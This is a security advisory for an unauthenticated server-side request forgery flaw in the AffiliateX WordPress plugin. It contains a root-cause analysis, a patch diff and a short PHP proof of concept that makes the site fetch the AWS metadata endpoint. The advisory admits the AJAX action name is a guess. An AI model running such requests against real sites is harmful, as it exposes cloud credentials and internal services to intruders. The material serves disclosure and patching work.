Published : August 9, 2026

CVE-2026-65558: AffiliateX – Amazon Affiliate Plugin, Product Boxes, Comparison Tables & Affiliate Link Tracking <= 2.3.5 Unauthenticated Server-Side Request Forgery PoC, Patch Analysis & Rule

Plugin affiliatex
Severity High (CVSS 7.2)
CWE 918
Vulnerable Version 2.3.5
Patched Version 2.3.6
Disclosed July 23, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-65558:
AffiliateX – Amazon Affiliate Plugin, Product Boxes, Comparison Tables & Affiliate Link Tracking versions up to and including 2.3.5 are vulnerable to unauthenticated Server-Side Request Forgery (SSRF). The flaw exists in the BrokenLinkScanner component, which processes URLs provided through the plugin’s public endpoints. The vulnerability has a CVSS score of 7.2, indicating high severity.

Root Cause: The vulnerable code is located in includes/broken-links/BrokenLinkScanner.php. The scan_url() method accepts a URL and immediately validates only the hostname syntax using wp_parse_url() and a regex. It does not restrict the scheme to http/https, does not reject URLs containing embedded credentials (user:pass), does not restrict the port to standard web ports, and does not verify that the resolved IP address is not a private or reserved range. Consequently, the plugin will perform an HTTP request to any host that the attacker controls, including internal IP addresses (e.g., 127.0.0.1, 10.0.0.1, 169.254.169.254) and services on non-standard ports. The request is sent via wp_remote_request with a long timeout, no SSL verification, and a browser-like User-Agent.

Exploitation: An unauthenticated attacker can trigger the vulnerability by submitting a crafted URL to the broken link scanner. The scanner is exposed through admin-ajax.php (action likely ‘affiliatex_broken_link_scan’ or similar). The attacker sends a POST request with the target URL set to an internal service, such as http://127.0.0.1:80, http://169.254.169.254/latest/meta-data/, or http://10.0.0.1:8080/admin. Since the scanner returns a ‘broken’ or ‘valid’ status, the attacker can infer the availability and response characteristics of internal endpoints. SSRF can be used to interact with internal services, read cloud metadata, or attack other systems from the web server’s network position.

Patch Analysis: Version 2.3.6 adds multiple validation checks in the same function. It now requires the scheme to be either ‘http’ or ‘https’, rejects URLs containing userinfo (user or pass), rejects non-standard ports (must be 80 or 443), and performs DNS resolution of the hostname. The patch checks the resolved IP addresses against private and reserved ranges using FILTER_VALIDATE_IP with FILTER_FLAG_NO_PRIV_RANGE and FILTER_FLAG_NO_RES_RANGE. Additionally, the request arguments now include ‘reject_unsafe_urls’ => true, a WordPress safety check that further blocks SSRF attempts. These changes prevent the vulnerable behavior.

Impact: Successful exploitation allows an unauthenticated attacker to make HTTP requests from the WordPress server to arbitrary destinations. This can lead to unauthorized access to internal services, reading sensitive data such as cloud provider metadata (potentially exposing API keys), and further network attacks. The attack does not require authentication, making it more severe. There is no direct privilege escalation on the WordPress site, but the SSRF can be a stepping stone for deeper compromise.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/affiliatex/affiliatex.php
+++ b/affiliatex/affiliatex.php
@@ -8,7 +8,7 @@
  * Author URI:      https://affiliatexblocks.com
  * Text Domain:     affiliatex
  * Domain Path:     /languages
- * Version:         2.3.5
+ * Version:         2.3.6
  * Requires at least: 5.8
  * Requires PHP:      7.4
  * License:         GPL-2.0-or-later
@@ -71,7 +71,7 @@
         define( 'AFFILIATEX_PLUGIN_URL', plugin_dir_url( __FILE__ ) );
     }
     if ( !defined( 'AFFILIATEX_VERSION' ) ) {
-        define( 'AFFILIATEX_VERSION', '2.3.5' );
+        define( 'AFFILIATEX_VERSION', '2.3.6' );
     }
     if ( !defined( 'AFFILIATEX_EXTERNAL_API_ENDPOINT' ) ) {
         define( 'AFFILIATEX_EXTERNAL_API_ENDPOINT', 'https://affiliatexblocks.com' );
--- a/affiliatex/build/adminJS.asset.php
+++ b/affiliatex/build/adminJS.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('jquery', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => '78a4b8b58119870c4c84');
+<?php return array('dependencies' => array('jquery', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => '031574ca8a53c2f84098');
--- a/affiliatex/build/dashboard.asset.php
+++ b/affiliatex/build/dashboard.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => '9287d8d26519fa71c300');
+<?php return array('dependencies' => array(), 'version' => '84b30ec443a98146a24c');
--- a/affiliatex/includes/broken-links/BrokenLinkScanner.php
+++ b/affiliatex/includes/broken-links/BrokenLinkScanner.php
@@ -152,21 +152,49 @@
 		);

 		$parsed = wp_parse_url( $url );
+		$scheme = isset( $parsed['scheme'] ) ? strtolower( $parsed['scheme'] ) : '';
+		$port   = isset( $parsed['port'] ) ? (int) $parsed['port'] : 0;

-		if ( empty( $parsed['host'] ) || ! preg_match( '/^[a-z0-9]([a-z0-9-]*[a-z0-9])?(.[a-z0-9]([a-z0-9-]*[a-z0-9])?)*$/i', $parsed['host'] ) ) {
+		if ( empty( $parsed['host'] )
+			|| ! in_array( $scheme, array( 'http', 'https' ), true )
+			|| isset( $parsed['user'] ) || isset( $parsed['pass'] )
+			|| ( $port && ! in_array( $port, array( 80, 443 ), true ) )
+			|| ! preg_match( '/^[a-z0-9]([a-z0-9-]*[a-z0-9])?(.[a-z0-9]([a-z0-9-]*[a-z0-9])?)*$/i', $parsed['host'] )
+		) {
 			$result['status']        = 'broken';
 			$result['status_label']  = 'Invalid URL';
 			$result['error_message'] = 'URL has no valid hostname.';
 			return $result;
 		}

+		// Tracked URLs come from a public endpoint, so resolve before requesting.
+		$host = trim( $parsed['host'], '.' );
+		$ips  = filter_var( $host, FILTER_VALIDATE_IP ) ? array( $host ) : gethostbynamel( $host );
+
+		if ( empty( $ips ) ) {
+			$result['status']        = 'broken';
+			$result['status_label']  = 'Domain Not Found';
+			$result['error_message'] = 'Could not resolve the hostname.';
+			return $result;
+		}
+
+		foreach ( $ips as $ip ) {
+			if ( ! filter_var( $ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE ) ) {
+				$result['status']        = 'broken';
+				$result['status_label']  = 'Invalid URL';
+				$result['error_message'] = 'URL points to a private or reserved network address.';
+				return $result;
+			}
+		}
+
 		$browser_ua   = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36';
 		$request_args = array(
-			'timeout'     => 15,
-			'redirection' => 0,
-			'sslverify'   => false,
-			'user-agent'  => $browser_ua,
-			'headers'     => array(
+			'timeout'            => 15,
+			'redirection'        => 0,
+			'sslverify'          => false,
+			'reject_unsafe_urls' => true,
+			'user-agent'         => $browser_ua,
+			'headers'            => array(
 				'Accept'          => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
 				'Accept-Language' => 'en-US,en;q=0.5',
 			),
--- a/affiliatex/vendor/composer/installed.php
+++ b/affiliatex/vendor/composer/installed.php
@@ -1,9 +1,9 @@
 <?php return array(
     'root' => array(
         'name' => 'wpcenter/affiliatex',
-        'pretty_version' => '2.3.5',
-        'version' => '2.3.5.0',
-        'reference' => '3d28686d400b99ed51feef971915b8cb740a5a2a',
+        'pretty_version' => '2.3.6',
+        'version' => '2.3.6.0',
+        'reference' => '71f33b24f25a67cc90ad9a2ca159de2f5c05a42c',
         'type' => 'wordpress-plugin',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -11,9 +11,9 @@
     ),
     'versions' => array(
         'freemius/wordpress-sdk' => array(
-            'pretty_version' => '2.13.1',
-            'version' => '2.13.1.0',
-            'reference' => '7376c0eca1ae7f92aaba9d3b550bd10affe797ff',
+            'pretty_version' => '2.13.4',
+            'version' => '2.13.4.0',
+            'reference' => 'fa43eb92ae9dffa0d9f5ae11b5a1739bd7222308',
             'type' => 'library',
             'install_path' => __DIR__ . '/../freemius/wordpress-sdk',
             'aliases' => array(),
@@ -29,9 +29,9 @@
             'dev_requirement' => false,
         ),
         'wpcenter/affiliatex' => array(
-            'pretty_version' => '2.3.5',
-            'version' => '2.3.5.0',
-            'reference' => '3d28686d400b99ed51feef971915b8cb740a5a2a',
+            'pretty_version' => '2.3.6',
+            'version' => '2.3.6.0',
+            'reference' => '71f33b24f25a67cc90ad9a2ca159de2f5c05a42c',
             'type' => 'wordpress-plugin',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),
--- a/affiliatex/vendor/freemius/wordpress-sdk/config.php
+++ b/affiliatex/vendor/freemius/wordpress-sdk/config.php
@@ -210,6 +210,10 @@
         define( 'WP_FS__API_SANDBOX_ADDRESS_LOCALHOST', 'http://sandbox-api.freemius:8080' );
     }

+    if ( ! defined( 'WP_FS__API_TIMEOUT' ) ) {
+        define( 'WP_FS__API_TIMEOUT', 30 );
+    }
+
     // Set API address for local testing.
     if ( ! WP_FS__IS_PRODUCTION_MODE ) {
         if ( ! defined( 'FS_API__ADDRESS' ) ) {
--- a/affiliatex/vendor/freemius/wordpress-sdk/includes/class-freemius.php
+++ b/affiliatex/vendor/freemius/wordpress-sdk/includes/class-freemius.php
@@ -3946,7 +3946,7 @@

             $this->_storage->connectivity_test = array(
                 'is_connected' => $is_connected,
-                'host'         => $_SERVER['HTTP_HOST'],
+                'host'         => isset( $_SERVER['HTTP_HOST'] ) ? $_SERVER['HTTP_HOST'] : '',
                 'server_ip'    => WP_FS__REMOTE_ADDR,
                 'is_active'    => $is_active,
                 'timestamp'    => WP_FS__SCRIPT_START_TIME,
@@ -17653,6 +17653,31 @@
         /**
          * Install plugin with new user.
          *
+         * You can use this method to sync activation with the Freemius WP SDK where the activation happened outside of the regular opt-in flow, for example if you're using an external licensing server with our api:
+         *
+         * https://docs.freemius.com/api/licenses/activate
+         *
+         * In that case you can call this method like following:
+         *
+         * ```
+         *
+         * my_fs()->install_with_new_user(
+         *     $result['user_id'],
+         *     $result['user_public_key'],
+         *     $result['user_secret_key'],
+         *     $result['is_marketing_allowed'],
+         *     null,
+         *     true,
+         *     $result['install_id'],
+         *     $result['install_public_key'],
+         *     $result['install_secret_key'],
+         *     false
+         * );
+         *
+         * ```
+         *
+         * Here `$result` represents the object returned by the API endpoint.
+         *
          * @author Vova Feldman (@svovaf)
          * @since  1.1.7.4
          *
@@ -17670,7 +17695,7 @@
          *
          * @return string If redirect is `false`, returns the next page the user should be redirected to.
          */
-        private function install_with_new_user(
+        public function install_with_new_user(
             $user_id,
             $user_public_key,
             $user_secret_key,
--- a/affiliatex/vendor/freemius/wordpress-sdk/includes/entities/class-fs-payment.php
+++ b/affiliatex/vendor/freemius/wordpress-sdk/includes/entities/class-fs-payment.php
@@ -80,11 +80,22 @@
          */
         public $source = 0;

+        /**
+         * Presentment payment information for customer-facing currency display.
+         *
+         * @var object|null
+         */
+        public $presentment;
+
         #endregion Properties

         const CURRENCY_USD = 'usd';
         const CURRENCY_GBP = 'gbp';
         const CURRENCY_EUR = 'eur';
+        const CURRENCY_ILS = 'ils';
+        const CURRENCY_CAD = 'cad';
+        const CURRENCY_AUD = 'aud';
+        const CURRENCY_PLN = 'pln';

         /**
          * @param object|bool $payment
@@ -120,6 +131,44 @@
         }

         /**
+         * @return bool
+         */
+        private function has_presentment()
+        {
+            return is_object( $this->presentment );
+        }
+
+        /**
+         * @return float
+         */
+        private function get_display_gross()
+        {
+            return $this->has_presentment() ?
+                (float) $this->presentment->gross :
+                (float) $this->gross;
+        }
+
+        /**
+         * @return float
+         */
+        private function get_display_vat()
+        {
+            return $this->has_presentment() ?
+                (float) $this->presentment->vat :
+                (float) $this->vat;
+        }
+
+        /**
+         * @return string
+         */
+        private function get_display_currency()
+        {
+            return $this->has_presentment() ?
+                $this->presentment->currency :
+                $this->currency;
+        }
+
+        /**
          * Returns the gross in this format:
          *  `{symbol}{amount | 2 decimal digits} {currency | uppercase}`
          *
@@ -132,12 +181,13 @@
          */
         function formatted_gross()
         {
-            $price = $this->gross + $this->vat;
+            $price = $this->get_display_gross() + $this->get_display_vat();
+
             return (
                 ( $price < 0 ? '-' : '' ) .
                 $this->get_symbol() .
                 number_format( abs( $price ), 2, '.', ',' ) . ' ' .
-                strtoupper( $this->currency )
+                strtoupper( $this->get_display_currency() )
             );
         }

@@ -161,9 +211,17 @@
                     self::CURRENCY_USD => '$',
                     self::CURRENCY_GBP => '£',
                     self::CURRENCY_EUR => '€',
+                    self::CURRENCY_ILS => '₪',
+                    self::CURRENCY_CAD => '$',
+                    self::CURRENCY_AUD => '$',
+                    self::CURRENCY_PLN => 'zł',
                 );
             }

-            return self::$CURRENCY_2_SYMBOL[ $this->currency ];
+            $currency = $this->get_display_currency();
+
+            return isset( self::$CURRENCY_2_SYMBOL[ $currency ] )
+                ? self::$CURRENCY_2_SYMBOL[ $currency ]
+                : strtoupper( $currency ) . ' ';
         }
-    }
 No newline at end of file
+    }
--- a/affiliatex/vendor/freemius/wordpress-sdk/includes/managers/class-fs-checkout-manager.php
+++ b/affiliatex/vendor/freemius/wordpress-sdk/includes/managers/class-fs-checkout-manager.php
@@ -110,6 +110,15 @@
 					// If add-on isn't activated assume the premium version isn't installed.
 					$is_premium = false;
 				}
+
+                // Override the checkout context with the add-on's purchase details so the checkout flow is initialized for the selected add-on instead of the parent product.
+				$context_params['plugin_id'] = $plugin_id;
+
+				foreach ( array( 'plan_id', 'pricing_id', 'billing_cycle', 'is_trial' ) as $param ) {
+					if ( fs_request_has( $param ) ) {
+						$context_params[ $param ] = fs_request_get( $param );
+					}
+				}
 			}

 			// Get site context secure params.
@@ -187,7 +196,7 @@
             // Allowlist only allowed query params.
             $filtered_params = array_intersect_key($filtered_params, $this->_allowed_custom_params);

-            return array_merge( $context_params, $filtered_params, $_GET, array(
+			return array_merge( $_GET, $context_params, $filtered_params, array(
 				// Current plugin version.
 				'plugin_version' => $fs->get_plugin_version(),
 				'sdk_version'    => WP_FS__SDK_VERSION,
--- a/affiliatex/vendor/freemius/wordpress-sdk/includes/managers/class-fs-contact-form-manager.php
+++ b/affiliatex/vendor/freemius/wordpress-sdk/includes/managers/class-fs-contact-form-manager.php
@@ -77,8 +77,9 @@
 			$query_params = $this->get_query_params( $fs );

 			$query_params['is_standalone'] = 'true';
+			// Intentionally using add_query_arg( '', '' ) to preserve the legacy behavior of resolving the current admin URL.
 			$query_params['parent_url']    = admin_url( add_query_arg( '', '' ) );

 			return WP_FS__ADDRESS . '/contact/?' . http_build_query( $query_params );
 		}
-	}
 No newline at end of file
+	}
--- a/affiliatex/vendor/freemius/wordpress-sdk/includes/sdk/FreemiusWordPress.php
+++ b/affiliatex/vendor/freemius/wordpress-sdk/includes/sdk/FreemiusWordPress.php
@@ -408,7 +408,7 @@
 				$pWPRemoteArgs = array(
 					'method'           => strtoupper( $pMethod ),
 					'connect_timeout'  => 10,
-					'timeout'          => 60,
+					'timeout'          => WP_FS__API_TIMEOUT,
 					'follow_redirects' => true,
 					'redirection'      => 5,
 					'user-agent'       => $user_agent,
--- a/affiliatex/vendor/freemius/wordpress-sdk/start.php
+++ b/affiliatex/vendor/freemius/wordpress-sdk/start.php
@@ -15,7 +15,7 @@
 	 *
 	 * @var string
 	 */
-	$this_sdk_version = '2.13.1';
+	$this_sdk_version = '2.13.4';

 	#region SDK Selection Logic --------------------------------------------------------------------

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-65558 - AffiliateX – Amazon Affiliate Plugin, Product Boxes, Comparison Tables & Affiliate Link Tracking <= 2.3.5 - Unauthenticated Server-Side Request Forgery

$target_url = 'http://example.com/wp-admin/admin-ajax.php'; // Change to your vulnerable WordPress site
$ssrf_url = 'http://169.254.169.254/latest/meta-data/'; // Target internal service (AWS metadata)

$post_data = array(
    'action' => 'affiliatex_broken_link_scan', // Adjust if the AJAX action name differs
    'url' => $ssrf_url
);

$ch = curl_init($target_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, array('X-Requested-With: XMLHttpRequest'));
curl_setopt($ch, CURLOPT_TIMEOUT, 15);

$response = curl_exec($ch);
if (curl_errno($ch)) {
    echo 'cURL error: ' . curl_error($ch) . "n";
} else {
    echo "Response:n" . $response . "n";
}
curl_close($ch);

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